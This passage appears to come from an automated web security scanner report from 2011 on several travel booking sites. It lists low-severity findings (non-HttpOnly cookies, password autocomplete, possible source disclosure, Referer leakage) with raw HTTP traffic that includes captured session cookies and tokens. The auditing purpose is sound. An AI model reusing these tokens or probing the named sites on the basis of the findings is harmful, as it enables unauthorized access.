bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; entry_time=time; last_visited=1320962028202; last_visited_sent=1

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:55:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:55:17 GMT
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com


8.10. http://www.bookingbuddy.com/r/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /r/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /r/?num_ads=8&imp_id=5ZtYWu5AQty7Z1Imji3Wmw%3D%3D&ad_user_tracking=%5Bsource%3D5031%2Ctaparam%3D%2Csupmt%3D%5D&r=i4318529&ad_rank=null&search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1&click_type=c HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:48 GMT
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com


8.11. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:59 GMT
Content-Length: 43482
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:58 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; expires=Thu, 10-Nov-2011 22:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content
...[SNIP]...

8.12. http://www.hotwire.com/air/dispatch.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/dispatch.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /air/dispatch.jsp?inputId=air-index&origCity=BOS&destinationCity=MIA&startDate=12%2F02%2F2011&endDate=12%2F04%2F2011&noOfTickets=1&sid=S255&bid=B265375&searchType=2002 HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Server: Apache-Coyote/1.1
Set-Cookie: hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRce2WZPD6TEPoj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; Expires=Fri, 09-Nov-2012 21:53:32 GMT; Path=/
Set-Cookie: gsc=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: auth=true; Path=/
Location: /air/dispatch.jsp?startDate=12%2F02%2F2011&origCity=BOS&destinationCity=MIA&noOfTickets=1&endDate=12%2F04%2F2011&searchType=2002&inputId=air-index
Content-Type: text/html
Date: Thu, 10 Nov 2011 21:53:32 GMT
Content-Length: 152

<html><head><title>301 Permanently</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved Permanently.</p>
</body></html>

8.13. http://www.hotwire.com/air/results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /air/results.jsp?searchTokenId=1&backButtonInputId=air-index HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; auth=true; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Set-Cookie: hotwirePageModuleState=pgoodCode=A&searchTokenId=1; Path=/
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:54:11 GMT
Content-Length: 61642


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta http-eq
...[SNIP]...

9. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


9.1. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=986769CB6786EFF183C837F1FF622403; Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=701410ac5564010a20111110215449406021706426

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:23 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=5463010a5064010a201111102202231f8021619497; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=AB743DD2B8D68D0FA588A04A65F8AD46; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
</div>
                       <form method="post" onsubmit="validateLoginForm();" action="https://travelb.priceline.com/myprofile/ajaxLogin.do?jsk=5463010a5064010a201111102202231f8021619497&plf=PCLN&INIT_SESSION=false" target="secure_iframe" name="SignUpForm" id="SignUpForm">
                           <input type="hidden" name="sendNewsletter" id="sendNewsletter" value="true">
...[SNIP]...
<div id="field_pword" class="it_form_field" style="display: none;">
                               <input title="password" type="password" name="password" id="password" value="">
                                   <div id="pword_help" class="help_icon" style="display: none;">
...[SNIP]...

9.2. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
</div>
                       <form method="post" onsubmit="validateLoginForm();" action="https://travelb.priceline.com/myprofile/ajaxLogin.do?jsk=6f1410ac5564010a20111110220209fd5021609144&plf=PCLN&INIT_SESSION=false" target="secure_iframe" name="SignUpForm" id="SignUpForm">
                           <input type="hidden" name="sendNewsletter" id="sendNewsletter" value="true">
...[SNIP]...
<div id="field_pword" class="it_form_field" style="display: none;">
                               <input title="password" type="password" name="password" id="password" value="">
                                   <div id="pword_help" class="help_icon" style="display: none;">
...[SNIP]...

10. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://travelb.priceline.com
Path:   /airlines/js/FullFlightDetails.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /airlines/js/FullFlightDetails.js HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=986769CB6786EFF183C837F1FF622403; Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=701410ac5564010a20111110215449406021706426

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:55 GMT
Server: Apache
Last-Modified: Fri, 21 Oct 2011 14:26:06 GMT
ETag: "9b0a0e-242a-4afcfda83bb80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 9258
Content-Type: text/javascript

// This value comes from an appvar
var ajaxRequestTimeOut = '<%=GeneralUtils.rlGetKey("AIRLINES", "AJAX_REQUEST_TIMEOUT", "20000")%>';
var FFDErrorMessage = "We're sorry. This feature is not currently available. Please try again later.";
var FFDErrorMessage2 = "We're sorry. This feature is not currently available.";
// We'll do
...[SNIP]...

11. Cross-domain Referer leakage  previous  next
There are 13 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


11.1. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:02 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22469
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...
<NOSCRIPT><IMG SRC="http://ad.doubleclick.net/ad/priceline.dart/waitpage_air;sz=583x80;ord=123456789?" WIDTH="583" HEIGHT="80" BORDER="0"></NOSCRIPT>
...[SNIP]...

11.2. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
